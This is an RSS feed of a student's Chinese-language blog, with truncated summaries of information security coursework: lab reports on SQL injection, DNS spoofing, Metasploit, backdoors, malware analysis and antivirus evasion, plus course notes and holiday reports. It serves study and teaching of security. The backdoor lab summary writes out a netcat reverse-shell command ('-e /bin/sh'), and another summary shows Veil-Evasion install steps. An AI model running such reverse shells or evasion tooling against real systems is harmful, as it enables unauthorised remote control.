<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[bali9195的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/bali9195</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; bali9195]]></copyright><item><title><![CDATA[20155223 Exp9 Web安全基础实践]]></title><link>https://blog.youkuaiyun.com/bali9195/article/details/101530673</link><guid>https://blog.youkuaiyun.com/bali9195/article/details/101530673</guid><author>bali9195</author><pubDate>Thu, 24 May 2018 20:01:00 +0800</pubDate><description><![CDATA[20155223 Exp9 Web安全基础实践
基础问题回答
SQL注入攻击原理，如何防御？

攻击原理：SQL注入即是指web应用程序对用户输入数据的合法性没有判断，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。
防御手段：

在数据库设置防火墙，专注防御SQL注入攻击。
不再...]]></description><category></category></item><item><title><![CDATA[20155223 Exp8 WEB基础实践]]></title><link>https://blog.youkuaiyun.com/bali9195/article/details/101530674</link><guid>https://blog.youkuaiyun.com/bali9195/article/details/101530674</guid><author>bali9195</author><pubDate>Sat, 19 May 2018 14:01:00 +0800</pubDate><description><![CDATA[20155223 Exp8 WEB基础实践
基础问题回答
什么是表单？
表单是一个包含表单元素的区域。
表单元素是允许用户在表单中（比如：文本域、下拉列表、单选框、复选框等等）输入信息的元素。
表单使用表单标签定义。
浏览器可以解析运行什么语言？
超文本标记语言：HTML
可扩展标记语言：XML
还有各类脚本语言。
WebServer支持哪些动态语言？
这几种语言：ASP、JSP、PHP...]]></description><category></category></item><item><title><![CDATA[20155223 Exp7 网络欺诈防范]]></title><link>https://blog.youkuaiyun.com/bali9195/article/details/101530669</link><guid>https://blog.youkuaiyun.com/bali9195/article/details/101530669</guid><author>bali9195</author><pubDate>Wed, 09 May 2018 23:12:00 +0800</pubDate><description><![CDATA[20155223 Exp7 网络欺诈防范
基础问题回答
通常在什么场景下容易受到DNS spoof攻击?
无设防或防护力特别弟弟低的公共局域网，或者是在同一个局域网下。
在日常生活工作中如何防范以上两攻击方法？
鉴于DNS欺骗攻击的特点，即被动式攻击，因此我不可能在被攻击之前得到预警。那么抵御此类攻击，首先就必须升级DNS服务软件至最新版本，并打上补丁。尽量不在保密要求高的或存储有高度敏...]]></description><category></category></item><item><title><![CDATA[20155223 Exp6 信息收集与漏洞扫描]]></title><link>https://blog.youkuaiyun.com/bali9195/article/details/101530670</link><guid>https://blog.youkuaiyun.com/bali9195/article/details/101530670</guid><author>bali9195</author><pubDate>Sun, 06 May 2018 19:40:00 +0800</pubDate><description><![CDATA[20155223 Exp6 信息收集与漏洞扫描
本次实验以熟悉信息收集手段与漏洞扫描手段为主。
实践步骤
whois域名查找
在虚拟机Kali的终端输入命令：whois baidu.com，查询百度的域名注册信息。

从截图中我知道百度的域名于1999年10月11日创建，有效期截止至2026年10月11日（有效期27年），百度域名有一个域名服务器和四个NS服务器支持。
我突然想试试查询学...]]></description><category></category></item><item><title><![CDATA[20155223 实验5 MSF基础应用]]></title><link>https://blog.youkuaiyun.com/bali9195/article/details/101530666</link><guid>https://blog.youkuaiyun.com/bali9195/article/details/101530666</guid><author>bali9195</author><pubDate>Tue, 24 Apr 2018 13:10:00 +0800</pubDate><description><![CDATA[20155223 实验5 MSF基础应用
基础问题回答
用自己的话解释什么是exploit,payload,encode？
exploit：漏洞攻击。一个exploit程序肯定会触发系统的一个或多个漏洞，进而程序直接获取到目标系统的部分或所有权限。一个漏洞攻击程序可以在本地运行也可以远程运行，远程运行的漏洞攻击可以理论上获取被攻击系统的所有控制权。
payload：有效载荷，可以理解为搞...]]></description><category></category></item><item><title><![CDATA[Exp4 恶意代码分析 20155223]]></title><link>https://blog.youkuaiyun.com/bali9195/article/details/101530667</link><guid>https://blog.youkuaiyun.com/bali9195/article/details/101530667</guid><author>bali9195</author><pubDate>Sat, 14 Apr 2018 11:40:00 +0800</pubDate><description><![CDATA[Exp4 恶意代码分析 20155223
使用原生命令schtasks监视系统运行

在系统盘目录下建立脚本文件netstatlog.bat，包含以下命令：

date /t &gt;&gt; c:\netstatlog.txt
time /t &gt;&gt; c:\netstatlog.txt
netstat -bn &gt;&gt; c:\netstatlog.txt

在nets...]]></description><category></category></item><item><title><![CDATA[20155223 Exp3 免杀原理与实践 实验报告]]></title><link>https://blog.youkuaiyun.com/bali9195/article/details/101530664</link><guid>https://blog.youkuaiyun.com/bali9195/article/details/101530664</guid><author>bali9195</author><pubDate>Sat, 07 Apr 2018 17:24:00 +0800</pubDate><description><![CDATA[20155223 Exp3 免杀原理与实践 实验报告
实验前准备
安装Veil-Evasion

直接使用Kali快速安装命令，拒绝采用git安装命令
apt-get -y install veil-evasion
veil --setup
启动Veil
在生成的文档Veil里开启终端，输入命令veil。
之前没人告诉我，启动Veil是在生成的Veil文件夹里启动，而不是在外面直接输入命...]]></description><category></category></item><item><title><![CDATA[20155223 Exp2 后门原理与实践]]></title><link>https://blog.youkuaiyun.com/bali9195/article/details/101530665</link><guid>https://blog.youkuaiyun.com/bali9195/article/details/101530665</guid><author>bali9195</author><pubDate>Tue, 27 Mar 2018 22:24:00 +0800</pubDate><description><![CDATA[20155223 Exp2 后门原理与实践
实验预热
一、windows获取Linux shell
Windows：使用 ipconfig 命令查看当前机器IP地址。

进入ncat所在文件地址，输入命令：ncat.exe -l -p 5223。

Linux：在命令行终端输入命令：nc windows主机的IP地址 5223 -e /bin/sh。-e反向连接Windows。

一个回...]]></description><category></category></item><item><title><![CDATA[苏黄的假期学习报告3]]></title><link>https://blog.youkuaiyun.com/bali9195/article/details/101530663</link><guid>https://blog.youkuaiyun.com/bali9195/article/details/101530663</guid><author>bali9195</author><pubDate>Sun, 11 Feb 2018 22:02:00 +0800</pubDate><description><![CDATA[苏黄的假期学习报告3
复习进度
所有需要复习科目都已经过了一遍，但是时间所剩不多，因为本来寒假就短，我还因为病情住院。不爽！
春节安排
如果学校放假时间往后延一两个星期，我就可以和家人、同学在家乡过完一个完整的春节——从大年三十到元宵节。可惜学校就是想让我们这群年轻人体验一把春运抢不着返程票的滋味，真TMD的生气！我前几天就帮家里人收拾屋子，明天去买只活鸡宰了来祭祀。年三十肯定和家里人过...]]></description><category></category></item><item><title><![CDATA[我的假期学习报告2]]></title><link>https://blog.youkuaiyun.com/bali9195/article/details/101530661</link><guid>https://blog.youkuaiyun.com/bali9195/article/details/101530661</guid><author>bali9195</author><pubDate>Sun, 04 Feb 2018 22:59:00 +0800</pubDate><description><![CDATA[我的假期学习报告2
复习进度报告

高等数学
已完成所有公式的默写工作，正在做题以增加熟练度。
概率论与数理统计
已完成第3章的复习工作。
操作系统
已完成第一、二、三章的PPT复习。

病情报告
已无大碍，没有任何后遗症；气温回暖，相信穿厚实点可以不会重蹈覆辙。
实践报告
已经在预约单位实践一星期，单位对我的工作表示积极肯定。
感想
我只能飞回北京了，多亏了这奇怪的抢票系统！


转载...]]></description><category></category></item><item><title><![CDATA[苏黄永郦的假期报告——1]]></title><link>https://blog.youkuaiyun.com/bali9195/article/details/101530660</link><guid>https://blog.youkuaiyun.com/bali9195/article/details/101530660</guid><author>bali9195</author><pubDate>Sun, 28 Jan 2018 20:45:00 +0800</pubDate><description><![CDATA[苏黄永郦的假期报告——1
致歉
我在上一篇博客中答应老师每周至少完成一篇总结性博客以反馈我的学习进程，然而我在考前复习阶段并没有及时发布报告。我的过失。然后在回家的时候想发布一篇以作假期任务的规划，谁知南宁的气温和北京的气温不同，我一下子就被流感击倒，昨天才出医院。本想在医院做博客，但是医院的网实在是太慢了，我甚至不能用电脑登录百度。所以我上个星期的博客没有完成。
假期目标

复习需要补...]]></description><category></category></item><item><title><![CDATA[2017-2018-1 20155223 20155207 实验二 固件程序设计]]></title><link>https://blog.youkuaiyun.com/bali9195/article/details/101530658</link><guid>https://blog.youkuaiyun.com/bali9195/article/details/101530658</guid><author>bali9195</author><pubDate>Sat, 30 Dec 2017 19:51:00 +0800</pubDate><description><![CDATA[2017-2018-1 20155223 20155207 实验二 固件程序设计


转载于:https://www.cnblogs.com/battlefieldheros/p/8150939.html]]></description><category></category></item><item><title><![CDATA[20155223 实验四 外设驱动程序设计]]></title><link>https://blog.youkuaiyun.com/bali9195/article/details/101530659</link><guid>https://blog.youkuaiyun.com/bali9195/article/details/101530659</guid><author>bali9195</author><pubDate>Sat, 30 Dec 2017 19:47:00 +0800</pubDate><description><![CDATA[20155223 实验四 外设驱动程序设计
实验任务一

学习资源中全课中的“hqyj.嵌入式Linux应用程序开发标准教程.pdf”中的第十一章
提交康奈尔笔记的照片
提交照片：


实验任务二

在Ubuntu完成资源中全课中的“hqyj.嵌入式Linux应用程序开发标准教程.pdf”中的第十一章的test试验
提交编译，加载模块，卸载模块，测试运行的截图（要多张，全屏，体现学号信息...]]></description><category></category></item><item><title><![CDATA[20155223 《信息安全系统设计基础》课程总结]]></title><link>https://blog.youkuaiyun.com/bali9195/article/details/101530656</link><guid>https://blog.youkuaiyun.com/bali9195/article/details/101530656</guid><author>bali9195</author><pubDate>Sat, 30 Dec 2017 10:30:00 +0800</pubDate><description><![CDATA[20155223 《信息安全系统设计基础》课程总结
每周作业链接汇总
第一周
简要内容

第一章：
计算机系统由硬件和系统软件组成，两者共同运作以运行应用程序。内部信息被表示为一组组的位，位依据上下文有不同的解释方式。
程序被其他翻译程序翻译成不同形式，开始是被翻译成ASCII文本，然后被翻译成计算机可执行的二进制文本。如果是用Code::Blocks等编译软件编译，则在编译完成后自动生...]]></description><category></category></item><item><title><![CDATA[2017-2018-1 20155223 《信息安全系统设计基础》第14周学习总结]]></title><link>https://blog.youkuaiyun.com/bali9195/article/details/101530653</link><guid>https://blog.youkuaiyun.com/bali9195/article/details/101530653</guid><author>bali9195</author><pubDate>Sat, 23 Dec 2017 19:04:00 +0800</pubDate><description><![CDATA[2017-2018-1 20155223 《信息安全系统设计基础》第14周学习总结
教材内容学习总结
进程控制
获取进程
每个进程都有唯一一个正数进程ID。函数getpid返回目标进程的ID，函数getppid返回目标进程的父进程ID。
创建进程和终止进程
从程序员角度，进程被认为总是处在以下三种状态之一：

运行 进程要么正在CPU上执行，要么是在等待被执行借最终会被内核调度。
停止 ...]]></description><category></category></item><item><title><![CDATA[2017-2018-1 20155223 实验五 通讯协议设计]]></title><link>https://blog.youkuaiyun.com/bali9195/article/details/101530652</link><guid>https://blog.youkuaiyun.com/bali9195/article/details/101530652</guid><author>bali9195</author><pubDate>Sat, 16 Dec 2017 20:19:00 +0800</pubDate><description><![CDATA[2017-2018-1 20155223 实验五 通讯协议设计
什么是OpenSSL？
OpenSSL 是一个安全套接字层密码库，囊括主要的密码算法、常用的密钥和证书封装管理功能及SSL协议，并提供丰富的应用程序供测试或其它目的使用。
SSL是Secure Sockets Layer（安全套接层协议）的缩写，可以在Internet上提供秘密性传输。Netscape公司在推出第一个Web浏...]]></description><category></category></item><item><title><![CDATA[20155223 《信息安全系统设计基础》第13周学习总结]]></title><link>https://blog.youkuaiyun.com/bali9195/article/details/101530651</link><guid>https://blog.youkuaiyun.com/bali9195/article/details/101530651</guid><author>bali9195</author><pubDate>Sat, 16 Dec 2017 16:35:00 +0800</pubDate><description><![CDATA[20155223 《信息安全系统设计基础》第13周学习总结
练习题回答
12.1
父进程派生出子进程时，子进程自动获得一个已连接描述符的副本，并将相关文件表中的引用计数从1加到2。.父进程关闭其本身的描述符副本时，引用数减1，但是不为0,。只有引用数为0时，系统才会关闭文件，所以子进程依然保持连接端打开。
12.2
当一个进程终止时，内核将自动关闭所有打开的描述父。所以，当子进程退出时，...]]></description><category></category></item><item><title><![CDATA[2017-2018-1 20155223 《信息安全系统设计基础》第11周学习总结]]></title><link>https://blog.youkuaiyun.com/bali9195/article/details/101530649</link><guid>https://blog.youkuaiyun.com/bali9195/article/details/101530649</guid><author>bali9195</author><pubDate>Sun, 03 Dec 2017 08:22:00 +0800</pubDate><description><![CDATA[2017-2018-1 20155223 《信息安全系统设计基础》第11周学习总结
实验四报告博客
教材学习内容总结
虚拟存储器
虚拟存储器的另一个称呼是虚拟内存。
当电脑内运行的程序占用太多内存时，操作系统会将一部分硬盘存储空间用作内存，以缓解内存的紧张。
因为使用部分硬盘空间做内存，各个进程的地址空间不用被修改或删除，各进程的地址空间由此得到保护。
正因为各进程的地址空间未被破坏，存...]]></description><category></category></item><item><title><![CDATA[2017-2018-1 20155216 20155223《信息安全技术》实验四—— 木马及远程控制技术]]></title><link>https://blog.youkuaiyun.com/bali9195/article/details/101530575</link><guid>https://blog.youkuaiyun.com/bali9195/article/details/101530575</guid><author>bali9195</author><pubDate>Mon, 27 Nov 2017 12:51:00 +0800</pubDate><description><![CDATA[2017-2018-1 20155216 20155223《信息安全技术》实验四—— 木马及远程控制技术
实验目的

剖析网页木马的工作原理
理解木马的植入过程
学会编写简单的网页木马脚本
通过分析监控信息实现手动删除木马
实验内容
木马的生成与植入
利用木马实现远程操控
木马的删除
实验原理
网页木马
网页木马就是表面上伪装成普通的网页文件或是将恶意的代码直接插入到正常的网页文件中，当...]]></description><category></category></item><item><title><![CDATA[2017-2018-1 20155223 《信息安全系统设计基础》第9周学习总结]]></title><link>https://blog.youkuaiyun.com/bali9195/article/details/101530646</link><guid>https://blog.youkuaiyun.com/bali9195/article/details/101530646</guid><author>bali9195</author><pubDate>Sun, 19 Nov 2017 10:02:00 +0800</pubDate><description><![CDATA[2017-2018-1 20155223 《信息安全系统设计基础》第9周学习总结
教材学习内容总结
常见的存储技术
随机访问存储器（RAM）：RAM分两种——静态RAM和动态RAM。静态RAM访问时间短，有持续性，不敏感，但价格高昂，因此静态RAM用于高速缓存存储器。动态RAM访问时间长，不持续，很敏感，不过价格较静态RAM便宜，因此动态RAM应用于计算机主存和帧缓冲区。
非易失性存储器...]]></description><category></category></item></channel></rss>